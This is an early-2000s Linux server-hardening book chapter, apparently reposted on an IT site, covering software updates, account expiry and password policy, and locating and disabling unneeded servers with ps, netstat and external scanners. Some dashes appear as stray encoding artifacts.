GO IT WORLD | IT TECH | IT NEWS

Keeping the System Up to Date

Many compromised systems owe their inglorious compromised status to lack of appropriate maintenance. A few minutes spent checking for and installing software updates on a regular basis can save uncountable hours of work later, because updated software frequently includes fixes for security bugs. If you update buggy software quickly enough, would-be intruders will not be able to exploit security vulnerabilities.

The Importance of Server Updates

Software bugs can take many forms and have many different types of effects. Bugs can corrupt data, crash the affected program, or make the program behave in some odd way. Some bugs are security-related. They may allow a person to write arbitrary files in arbitrary locations (potentially overwriting critical configuration files), or give the abuser the ability to run programs under some other username. In sum, such bugs can compromise the system, giving a normal user superuser privileges.

Servers, like any other program, can be buggy. Buggy servers are particularly important because they’re potentially more accessible than are buggy local programs. If a non-network program (say, man) contains a security-related bug, only local users can exploit the bug. Assuming your users are trustworthy, and assuming a cracker hasn’t gained local access to your system, such a bug won’t cause harm. (Of course, those assumptions aren’t always valid, so fixing such bugs is important.) Many servers, by contrast, are accessible to the world at large. If a flaw in a Web server allows any user to take control of the computer, then that Web server is vulnerable to attack from just about anybody. Thus, security bugs in servers are particularly critical, and it’s vital you protect yourself against them.

The problem is exacerbated by the fact that many servers run as root. If a program (server or nonserver) that runs as an ordinary user is compromised, chances are little damage can be done with it. For instance, such a program can’t ordinarily rewrite your /etc/passwd file. If a program that runs as root is compromised, though, the attacker has much greater power; if such a program can be made to write arbitrary files, changing /etc/passwd is very possible. Many servers need root privileges to function correctly. For instance, root access is needed to provide login services, or even to listen to the first 1024 ports, on which most servers run. (A super server runs as root, but can spawn a server that runs as another user, even when it serves a sub-1024 port.)

For all of these reasons, it’s critical that you keep your servers up to date. You don’t necessarily need to perform every server update, because many server updates exist to add features or fix nonsecurity bugs that might not affect you. You should upgrade whenever an update emerges that fixes a security bug, though.

How to Monitor for Updated Software

There are several ways to look for updated software packages:

• Software package Web sites and mailing lists? Most software packages, including most servers, have official Web sites, mailing lists, and occasionally newsgroups or other communication forums. You can monitor these resources on a regular basis to locate software updates. This approach can be tedious, though; a Linux system may have a dozen or more servers installed, and monitoring all the relevant forums can be difficult at best. This approach is best reserved for unusual packages梩hose that aren’t part of your normal distribution’s software mixnd perhaps for very popular servers you might be running.

• Your distribution’s Web site? All distributions have Web pages that include information on software updates. Distribution maintainers do the work of monitoring various security resources, including the Web pages for the individual server packages included in the distribution. This provides you with a one-stop location for security and other update information. The drawback is that it may take some time for a security fix to filter down from its original source to your distribution’s Web page. In a best-case scenario, the delay might be just a few minutes, but it’s more likely to be a few hours or even days.

• Generic security information sources? The upcoming section, "Keeping Abreast of Security Developments," describes resources for information on security-related developments. These can be extremely useful and important. They usually include information on workarounds to problems, if they exist, so you may be able to take steps to minimize the risk before an official fix is available. You’ll have to go back to the program maintainer or your distribution’s updates page to obtain fixed software, though.

In most cases, some combination of the last two approaches is a good way to keep an eye on security developments. Reading your servers’ Web sites can also be important, particularly if you’re using unusual servers that aren’t officially supported by your distribution. A quick check of two or three Web pages or newsgroups once a day can save untold hours of work recovering from a break-in. Even a once-a-week check is better than nothing, and a periodic comparison of installed packages against the latest versions available can help catch updates that might have slipped through the cracks, as it were.

Automatic Software Update Procedures

Unfortunately, manually checking for software updates can be tedious at best. For this reason, there are several tools available to help automate the process. These include the following:

• apt-get? This program is a standard part of the Debian distribution and its derivatives. It’s used for installing software, and it can also check for updates to already installed packages. Specifically, typing apt-get update followed by apt-get dist-upgrade will retrieve updated package information and then upgrade any packages that have newer versions. Replace the second command with apt-get -s -u upgrade to receive a report on new packages without actually installing them. Using apt-get in this way will only work, however, if you list at least one Debian package distribution site in the /etc/apt/sources.list file. There are also ports of apt-get (part of the larger apt package) for RPM-based systems, such as the one created by Connectiva (http://distro.conectiva.com/projetos/42) and apt4rpm (http://apt4rpm.sourceforge.net).

• Red Hat’s Update Agent? Red Hat uses a package it calls the Update Agent to help keep systems up to date. This package requires you to register with Red Hat, and the program sends information on your computer’s hardware and software to Red Hat. It can then keep your system updated. Configuration and use of the program is moderately complex, so you should consult its documentation at http://www.redhat.com/docs/manuals/RHNetwork/ref-guide/ for more information.

Automatic security updates are desirable in many ways, because they can help protect you against security breaches. They aren’t without their drawbacks, though. By giving an automatic process control of your computer, you’re entrusting it with a huge responsibility. Automatic updates can and do fail in various ways. For instance, an updated package might include a new bug or an incompatibility with another important package (especially if you’ve mixed packages from your distribution with others you build yourself or install from tarballs). It’s also conceivable that a cracker could break into the automatic update site or a DNS server in order to deliver modified packages. Because Debian packages sometimes include installation scripts that require human interaction, you shouldn’t run apt-get in a cron job or other automated procedure; you should run it manually, even if you plan to do so on a regular basis. (Using apt-get -s -u upgrade in a cron job should be safe, though.) These tools don’t always differentiate between security updates and others that are less critical, but which might cause problems for your system.

On the whole, automated software updates can be quick and convenient, but I recommend using them only in a strictly supervised manner. Ideally, you should be able to authorize individual upgrades so as to head off problems due to an overzealous update agent. This is an area of active development, so it’s likely that these tools will become more sophisticated and helpful in the future.

Controlling Accounts and Passwords

If a server exists, it’s a potential door into your computer. There are several different ways to lock this door. One is to use firewall tools like iptables . Another, which works only with some servers, is to pay careful attention to user accounts and passwords on the computer. Servers that use these features can become vulnerable if the computer hosts unused accounts or if passwords fall into the wrong hands. This method of control requires a partnership between you as a system administrator and all of your users, so it’s important that you communicate the risks of poor password choice, password use over unencrypted connections, and so on to your users.

Account Creation Procedures and Policies

The first step in protecting your system through account security is to develop and follow appropriate procedures and policies for the creation of accounts. To use the analogy of servers as doors, every account is a key that can open a door (often several doors). By minimizing the number of accounts on the computer, you reduce the risk that a key to enter your system will be abused. Of course, many servers need user accounts. Without user accounts, a file-sharing server is of limited utility, an FTP server can be used only for anonymous access, and so on. The trick is to determine when you really need to create a particular user account.

On some servers, the answer is simple: You don’t create user accounts least, not for anybody but a handful of administrators (perhaps just one).  Many servers, such as font, DHCP, and time servers, don’t need user accounts, and so such computers can easily do without user accounts. Other server systems, such as Web and FTP servers, may or may not need user accounts, depending upon precisely how they’re to be used. Remote login servers are usually run on computers that host many user accounts, so these systems always require user accounts.

Assuming a computer needs ordinary user accounts, you should have a clearly defined policy regarding use of that computer that you can use to guide when to create an account. For instance, a computer in a university’s physics department might exist for use by faculty, staff, and students associated with that department, so you should have a policy to create accounts only for those individuals. Formalizing these policies can help avoid an expansion that might be undesirable from a security point of view. You can change these policies if they become too constricting, but it’s easy for a system to acquire unused or unnecessary accounts if your account-creation policies are too lax or informal. This formalization is particularly important if the computer has many users.

You may also want to develop scripts or a checklist to follow when creating user accounts. One particularly important detail in this process is how you set the password. The upcoming section, "Setting Good Passwords," addresses this issue. You should also create an appropriate default permissions system for your computer. For instance, you might want to create separate project groups and assign users to specific groups, and assign permissions on home directories to restrict who may access whose files. Appropriate policies vary greatly from one environment to another, so you’ll have to develop your settings with your particular needs in mind. In an open environment, loose home directory permissions such as 0755 or even 0775 may be in order, with a matching umask value for file creation; but in an environment in which intra-system security is more important, you may need to set tight 0700 home directory permissions with restrictive umasks.

Monitoring Account Usage

Once you’ve created accounts for your users, you may want to monitor those accounts to see that they aren’t abused. There are two key aspects to this monitoring: Checking for inactive accounts and checking for abuses of active accounts.

Handling Inactive Accounts

User accounts are seldom permanent. Students graduate and employees move on to other jobs, for instance. Whenever an account falls into disuse, it should be disabled or removed to minimize the risk of its being abused. If you receive a notice that the user has left your organization or should no longer have an account for some other reason, you can manually disable or delete the account. You might not always receive such a notification, though. One way to help automate the process is to create accounts that automatically expire, or that have passwords that expire. You can use the usermod command to set an expiration date on an account, thus:

# usermod -e 2003-07-04 george

This command tells the system that the george account will become inactive on July 4, 2003. (You can use the -e parameter to useradd to create an account with an expiration date initially, as well.) This approach is most useful when you know that a given user will no longer need an account after a certain date, such as with student accounts and those for temporary employees.

A less drastic approach is to set up an expiring password. These require the user to change the password on a regular basis, such as once a month. You can do this with the chage command, thus:

# chage -M 30 -W 5 george

This command tells the system that george must change his password every 30 days, and to warn george of an impending deadline 5 days before the fact. If george doesn’t change his password, the account will be disabled and require administrative intervention to be used again.

These automated processes can help reduce problems, but they aren’t appropriate for all situations. For instance, if the account exists for some nonlogin process, such as file sharing via a Samba server or mail delivery only, users may not see password expiration messages, at least not unless you create custom cron jobs to check for impending account expirations and notify users, say by sending them e-mail about the upcoming password expirations. There are some active steps you can take to monitor account usage. For instance, the last command returns information on the last few logins, and many distributions maintain a log file called /var/log/auth in which information on authentication is stored. If you want to be very diligent, you might even set up a cron job to monitor system log files, note when users log in, and notify you if an account goes unused for more than some given period of time. You can use these tools to monitor account usage, and if an account falls into disuse, investigate further to determine if it should be deleted.

You might need to take active administrative steps to alter account availability. For instance, once an account has automatically expired, you might want to delete it if you know it won’t be used again. You might want to write a script that checks for expired accounts and reports back to you if it finds any. (These accounts can be identified because the third colon-delimited field in /etc/shadow contains a smaller value than the eighth field.)

Checking for Account Abuse

A nightmare for any system administrator is a local account that’s being abused. Perhaps one of your users is untrustworthy, and is using the computer to attack other systems, or even the local system itself. Another possibility is that an outsider might have hijacked a user’s account in order to abuse it.

One way to check for abuse is to look for suspicious activity in your system log files, such as /var/log/messages and /var/log/secure. (Precisely what log files exist, and what information they contain, varies from one distribution to another.) System log files mostly monitor the activity of servers, though, not of clients. Therefore, you might not see any evidence of a local user abusing, say, a Telnet client to attack another system. Such evidence might turn up in a firewall’s log files, though, depending on your network’s configuration. You might also see suspicious activity if your system comes under attack from outside.

Unfortunately, checking for such abuses by scanning log files is tedious at best. Automated tools like the Simple Watcher (SWATCH, http://oit.ucsb.edu/~eta/swatch/) can help by scanning log files for key strings that might indicate trouble, but such tools aren’t foolproof.

One potentially important step you can take in tracking, if not preventing, abuse of your system is to run the auth server (also known as identd). When a client on your system contacts an external server, that server might try contacting yours to find the identity of the user who makes the outgoing connection. If your user causes trouble on the remote system, that system’s administrator can contact you and tell you who was causing problems, because the username will be recorded in the remote system’s logs. This process only works, of course, if identd is installed and running on your system, and if it’s not been compromised itself. (Most distributions ship with this server, which is very basic and so requires only minimal configuration. It’s normally run from a super server.)

Ultimately, your ability to track and prevent abuse of your local systems is limited. You can be alert to suspicious local activity, such as processes that should not be running, but closely monitoring all the activity on even a single computer is far more work than a single system administrator can undertake.

Setting Good Passwords

In order to use passwords, computers must store them on disk. Typically, computers encrypt passwords, generally using a hash, or one-way encryption algorithm. In Linux, password files are usually stored in /etc/shadow (old Linux systems often used /etc/passwd). This practice makes a password file useless even if a cracker obtains it梠r so it would be in a perfect world. Increasing CPU power and disk space have made it possible for crackers to encrypt entire dictionaries that span multiple languages and include many proper names and variant spellings, letter order reversals, and so on. If a cracker obtains an encrypted password file, the cracker can compare the file’s entries to the encrypted results from the dictionary file. If a match results, the cracker has learned the password.

For this reason, the best passwords are random collections of letters, numbers, and any other characters the computer allows for a password. Such random strings are unlikely to appear in a cracker’s password-cracking dictionary. Unfortunately, random passwords are hard to remember, so most people pick easy-to-remember梐nd therefore easy-to-break梡asswords. A reasonable compromise is to build something that won’t appear in a dictionary but that has personally memorable characteristics. This process is two-step: First, build a base, and then modify that base.

To build a base, take a pair of unrelated words and merge them together, such as bunpen; or use an acronym that has meaning only to you, such as yiwttd (for yesterday I went to the dentist). This base is easy for you to remember and should not appear in a dictionary. It’s best if the base is as long as possible. (I used six-character bases as examples because eight is the limit on some systems, and subsequent modifications will increase the length.) Nonetheless, a cracker might stumble upon your base by combining words from a dictionary. Therefore, further modifications are necessary.

Possible modifications include:

• Mix case? If your system’s passwords are case-sensitive, mix up the case randomly, as in BUnPeN or YiWTtd. Many systems use case-insensitive passwords, though, so this step may not help security in all situations. For instance, Windows uses case-insensitive passwords for its SMB/CIFS file sharing.

• Add digits or punctuation? Add two or three randomly selected digits or punctuation, creating something like BU3nP&eN or Y+iWTtd2.

• Reverse a word? If you used two words as your base, reverse the letter order of one of them. This might produce BU3nNe&P, for instance.

Further modifications are, of course, possible. The key is that, despite the random appearance of these end results, the person who produced them can regenerate the password with relative ease. Such passwords therefore need not be written down or stored unencrypted on a computer. These two practices both greatly degrade security, because the paper or computer file might fall into the wrong hands.

If you want to check that your users’ passwords are good, you can use a password cracking program on them, such as Crack (http://www.users.dircon.co.uk/~crypto/). If the program delivers a password to you, you can help the user create a better password.

Warnning:

If you run a password-cracking program, do it on a computer that’s not connected to any network to eliminate the risk that a cracker will stumble across your efforts. Also, as with port scanning, password cracking is grounds for dismissal from many employers, so if you want to do this to improve local security, be sure to obtain permission first!

In addition to creating good passwords, users should take pains to keep passwords secure. This means that users should never write down passwords or give them to other people (even friends, family members, or co-workers). You should explicitly tell your users that you will never need to know their passwords; there have been scams in the past where crackers have claimed to be system administrators and asked for passwords, and users have fallen for the ruse.

Even if users create good passwords and don’t give them away, they can be discovered through various means. One is shoulder surfing, in which a cracker observes a user in a public area typing in the password. This is a real risk in public computer centers such as those common on university campuses, and to a lesser extent in the cubicle farms common in many companies. Another risk, which has been described elsewhere in this book, is password sniffing, in which a computer on a network is programmed to recover passwords sent between other computers on the network. This is a risk both on local networks and on the Internet at large. You can minimize the risk on local Ethernet networks by using switches rather than hubs; switches don’t echo data to all connected devices, so the sniffer would have to be on the client or server computer itself to acquire a password. A still better approach is to use protocols that encrypt the password, rendering an intercepted password useless.

Shutting Down Unnecessary Servers:

Server programs, by design, provide access to a computer. Thus, every server that runs on a computer increases the risk that an unwanted individual will gain access to the computer. The interloper might gain access through a bug in the server, a misconfiguration of the server, or a compromised password. Whatever the exact details, one effective means of reducing this risk is to shut down unnecessary servers. The first step to doing this is locating unnecessary servers. Once located, you must decide to shut the server down. Shutting down a server is normally a simple task, but some methods are more effective than others.

Locating Unnecessary Servers

The task of locating unnecessary servers can be broken down into two subtasks: Identifying servers that are running on your system and determining which of these servers is unnecessary to normal system operation. There are several ways to go about both of these tasks, and you may want to do so in multiple ways to improve your chances of success.

Locating Servers

Unfortunately, there is no centralized registry of running servers on a Linux system. If there were, locating servers would be a relatively straightforward process. Instead, you must piece together information from several different sources. It may be possible to overlook a server by one method, so it’s best if you use several to locate your servers.

Using Package Management Systems

One tool that’s useful in locating servers is your distribution’s package management system. If you use the Red Hat Package Manager (RPM) or Debian packages exclusively, your database should contain a listing of every package that’s installed on a computer. You can use this database to browse the installed packages, reading package descriptions to help you determine whether a package contains a server, and if so, whether you need it or not. Tools that are particularly helpful for this task are GUI package management systems, such as Red Hat’s GNOME RPM, SuSE’s YaST, and the Storm Package Manager (part of the Storm distribution, but also useable with Debian). These tools allow you to browse the installed packages in a window. You can click a package and choose an option to read a description of the package. Some package managers categorize their packages so that you can more easily locate them, but these categories aren’t as strictly defined as they might be, so you may need to look in all the categories to locate all your servers. This approach also will not find servers that you installed from tarballs or from source code. Finally, you can’t tell whether a server is actually running with this approach. A server that’s installed but not running poses much less risk than one that’s actually running. (The main risk is that some future configuration change might accidentally start the server running, thus increasing your risk.)

Examining server startup methods can help you determine what servers are running, but it may not paint a complete picture of what servers are installed. For that, you’ll need to use a package management system or examine every executable on your computer (a tedious proposition at best). As noted earlier, a package that’s installed but not running poses much less of a risk than does one that’s installed and running.

Examining Running Processes

Another tool that can be helpful in locating servers is ps. This command returns information on running processes. You can provide dozens of different options to modify the program’s operation, but typing ps ax is a good starting point if you want to locate servers. The output is likely to be quite extensive, so you may want to redirect it to a file or pipe it through more or less so you can examine the whole of the output. If you’re searching for a specific server, you can pipe the result through grep, as in ps ax | grep sendmail to locate information on any sendmail processes that are running. However you use it, ps provides information on both server and nonserver processes. Here’s an edited example of its output:

$ ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        S      0:15 init [3]
  502 ?        S      0:05 named -u bind
  520 ?        S      0:01 cupsd
  535 ?        SW     0:00 [nfsd]
 1741 pts/4    S      0:00 /bin/bash
 4168 ?        S      0:00 httpd

Actual ps outputs are likely to contain dozens of lines, even on a lightly loaded system. This example has trimmed all but a few entries for demonstration purposes. The first entry, with a process ID (PID) of 1, is always init. This process sits at the root of the process tree; all others derive from it, directly or indirectly. Processes whose names (in the COMMAND column) are in brackets, such as [nfsd], are kernel processes. You might recognize nfsd as the name of the NFS daemon kernel-based server. Other servers in this example are named, cupsd, and httpd, all of which are user-space servers. Two clues help identify these as servers. First, their names all end in d, for daemon. Second, they aren’t tied to specific ttys (the TTY column contains a question mark). Many nonserver processes, such as /bin/bash in this example, are tied to specific ttys. Neither of these details indicates with certainty that a process is a server, but they’re useful clues.

Once you’ve spotted potential servers with ps, you may want to try locating documentation for the processes in question. Type man name, where name is the name of the process; and try locating the binary file with the name of the process, and track down its package and documentation (for instance, rpm -qf /path/to/name to locate the package associated with name on an RPM-based system, or dpkg -S /path/to/name to do the same thing on Debian).

Keep in mind when using ps that it won’t locate servers that aren’t running at the moment you check for them. In particular, if a server is started through a super server, you won’t find it by examining a process list unless somebody is using the server at the moment you try this test. This procedure also won’t locate a server that’s crashed or has been temporarily taken down for maintenance.

Using netstat

One problem with the ps approach is that it’s not always obvious which processes are involved in network operations, much less which are servers. One tool that you can use to help fine-tune this identification is netstat.

This program reports information on network connections, including which ports are in use. Like ps, netstat takes a large number of options that modify its behavior. To help locate servers, netstat -lp is a good starting point. This locates ports that are being listened to (-l), and causes netstat to print (-p) the name of the server that’s doing the listening. The output also includes the port to which the server is listening, and additional information. As with ps, you’ll probably want to redirect the output to a file or pipe it through less or more.

Although netstat can be a useful tool, it’s got its limits. It displays the ports that are being listened to, but the program list won’t be completely accurate for servers started through a super server; netstat will report the super server name rather than the name of the program that ultimately fields the request.

Using External Scanners

One of the most powerful tools for locating servers is an external scanner program, such as Nessus (http://www.nessus.org), SAINT (http://www.wwdsi.com/saint/), or Nmap (http://www.insecure.org/nmap/). These programs run on a computer other than the one you want to check, and scan the target system for running servers. Depending on the exact goals of the scanner developers, it may report additional information, such as the OS in use on the target or whether a server has any known vulnerabilities. A basic scan can often be performed very simply by typing the tool’s name followed by the target system’s hostname, as in nmapgingko.threeroomco.com. The result should be a list of open ports and associated server types.

WARNING:

Port scanners are frequently used by crackers to help them locate vulnerable systems. Using the same tools yourself can be helpful in that you’ll spot the sorts of vulnerabilities a miscreant might locate. Sadly, using these tools can also cast suspicion upon you, especially if the use of the tool is unauthorized. Before you obtain and use a port scanner, clear its use with your superiors. If you don’t, you could find yourself in trouble erhaps even enough to lose your job!

An external scan can be particularly helpful if you suspect a server may have already been compromised. A competent cracker can replace tools like ps and netstat so that any additional servers won’t appear to be running. An external scan might discover these servers.

The drawback to an external scan is that it may not spot servers if they’re not accessible to the system doing the scanning. For instance, if a computer has two network interfaces, scanning one interface might turn up no servers running, when many servers are running on the other interface. Likewise, firewall tools can block access to servers based on IP addresses, so even if a computer has just one network interface, an external scanner might not detect a server if a firewall blocks the scanning system.

Determining When a Server Is Unnecessary

Once you’ve developed a list of servers, you must decide which ones are necessary. Unfortunately, this task isn’t always easy. Unless you’re intimately familiar with the operation of a Linux system, you may not understand the function of a server, and so may believe it’s unnecessary, when in fact it plays some important role. The preceding chapters of this book can help you determine whether many specific servers are necessary on your system. You can also consult the server’s documentation, such as its man pages, or perform a Web search to locate more information.

If you’re still not sure if a server is strictly necessary, you can try shutting it down and see what happens. If the computer continues to operate normally in all respects, you can be sure that the server wasn’t doing anything necessary; however, most servers do provide some sort of noticeable function. It’s possible that the server you shut down does something necessary, but that is not immediately obvious. For instance, you can run a font server  even on a computer that doesn’t run X. The computer itself will continue to function if you shut down the font server, but other systems will soon begin to malfunction.

You should also be very cautious about shutting down processes related to logins. Although remote login servers, may not be necessary, disabling local logins can cause serious problems that would require an emergency boot floppy to correct. You should be cautious about removing login processes started from SysV startup scripts or other system startup scripts.

One fortunate fact is that no process started from a super server is vital for local operation. If you don’t recognize a super server entry, you can remove it and the local computer will continue to function. As just noted, of course, other systems might be adversely affected, but you can remove all the super server entries and that computer will still boot and be usable from the console.

Methods of Shutting Down Servers

You can shut down servers in several different ways. As a general rule, there are two main approaches:

• You can reverse whatever process is used to start the server. For instance, you can comment out an entry in /etc/inetd.conf or rename a SysV startup script.

• You can uninstall the server. If the server’s files aren’t installed at all, it can’t be run.

The first method is usually the safest one to try if you’re not absolutely certain you don’t need the server, because it’s the easiest to reverse. If you disable a server and then find that you do need it, you can quickly restore its startup configuration.